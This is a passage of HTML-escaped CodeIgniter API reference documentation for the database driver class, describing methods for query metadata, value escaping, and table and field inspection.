&lt;code class=&quot;descname&quot;&gt;is_write_type&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$sql&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::is_write_type&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$sql&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The SQL statement&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;TRUE if the SQL statement is of write type, FALSE if not&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;bool&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Determines if a query is of a write type (such as
INSERT, UPDATE, DELETE) or read type (i.e. SELECT).&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::elapsed_time&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;elapsed_time&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;&lt;em&gt;$decimals = 6&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::elapsed_time&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$decimals&lt;/strong&gt; (&lt;em&gt;int&lt;/em&gt;)  The number of decimal places&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;The aggregate query elapsed time, in microseconds&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;string&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Calculate the aggregate query elapsed time.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::total_queries&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;total_queries&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::total_queries&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;The total number of queries executed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;int&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Returns the total number of queries that have been
executed so far.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::last_query&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;last_query&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::last_query&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;The last query executed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;string&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Returns the last query that was executed.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::escape&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;escape&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$str&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::escape&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$str&lt;/strong&gt; (&lt;em&gt;mixed&lt;/em&gt;)  The value to escape, or an array of multiple ones&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;The escaped value(s)&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;mixed&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Escapes input data based on type, including boolean and
NULLs.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::escape_str&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;escape_str&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$str&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;, &lt;em&gt;$like = FALSE&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::escape_str&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$str&lt;/strong&gt; (&lt;em&gt;mixed&lt;/em&gt;)  A string value or array of multiple ones&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$like&lt;/strong&gt; (&lt;em&gt;bool&lt;/em&gt;)  Whether or not the string will be used in a LIKE condition&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;The escaped string(s)&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;mixed&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Escapes string values.&lt;/p&gt;
&lt;div class=&quot;admonition warning&quot;&gt;
&lt;p class=&quot;first admonition-title&quot;&gt;Warning&lt;/p&gt;
&lt;p class=&quot;last&quot;&gt;The returned strings do NOT include quotes
around them.&lt;/p&gt;
&lt;/div&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::escape_like_str&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;escape_like_str&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$str&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::escape_like_str&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$str&lt;/strong&gt; (&lt;em&gt;mixed&lt;/em&gt;)  A string value or array of multiple ones&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;The escaped string(s)&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;mixed&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Escape LIKE strings.&lt;/p&gt;
&lt;p&gt;Similar to &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;escape_str()&lt;/span&gt;&lt;/code&gt;, but will also escape the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;%&lt;/span&gt;&lt;/code&gt;
and &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;_&lt;/span&gt;&lt;/code&gt; wildcard characters, so that they dont cause
false-positives in LIKE conditions.&lt;/p&gt;
&lt;div class=&quot;admonition important&quot;&gt;
&lt;p class=&quot;first admonition-title&quot;&gt;Important&lt;/p&gt;
&lt;p class=&quot;last&quot;&gt;The &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;escape_like_str()&lt;/span&gt;&lt;/code&gt; method uses ! (exclamation mark)
to escape special characters for &lt;em&gt;LIKE&lt;/em&gt; conditions. Because this
method escapes partial strings that you would wrap in quotes
yourself, it cannot automatically add the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;ESCAPE&lt;/span&gt; &lt;span class=&quot;pre&quot;&gt;'!'&lt;/span&gt;&lt;/code&gt;
condition for you, and so youll have to manually do that.&lt;/p&gt;
&lt;/div&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::primary&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;primary&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$table&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::primary&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$table&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  Table name&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;The primary key name, FALSE if none&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;string&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Retrieves the primary key of a table.&lt;/p&gt;
&lt;div class=&quot;admonition note&quot;&gt;
&lt;p class=&quot;first admonition-title&quot;&gt;Note&lt;/p&gt;
&lt;p class=&quot;last&quot;&gt;If the database platform does not support primary
key detection, the first column name may be assumed
as the primary key.&lt;/p&gt;
&lt;/div&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::count_all&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;count_all&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;&lt;em&gt;$table = ''&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::count_all&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$table&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  Table name&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;Row count for the specified table&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;int&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Returns the total number of rows in a table, or 0 if no
table was provided.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::list_tables&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;list_tables&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;&lt;em&gt;$constrain_by_prefix = FALSE&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::list_tables&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$constrain_by_prefix&lt;/strong&gt; (&lt;em&gt;bool&lt;/em&gt;)  TRUE to match table names by the configured dbprefix&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;Array of table names or FALSE on failure&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;array&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Gets a list of the tables in the current database.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::table_exists&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;table_exists&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$table_name&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::table_exists&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$table_name&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The table name&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;TRUE if that table exists, FALSE if not&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;bool&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Determine if a particular table exists.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::list_fields&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;list_fields&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$table&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::list_fields&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$table&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The table name&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;Array of field names or FALSE on failure&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;array&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Gets a list of the field names in a table.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::field_exists&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;field_exists&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$field_name&lt;/em&gt;, &lt;em&gt;$table_name&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::field_exists&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$table_name&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The table name&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$field_name&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The field name&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;TRUE if that field exists in that table, FALSE if not&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;bool&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Determine if a particular field exists.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::field_data&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;field_data&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$table&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::field_data&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$table&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The table name&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;Array of field data items or FALSE on failure&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;array&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Gets a list containing field data about a table.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::escape_identifiers&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;escape_identifiers&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$item&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::escape_identifiers&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
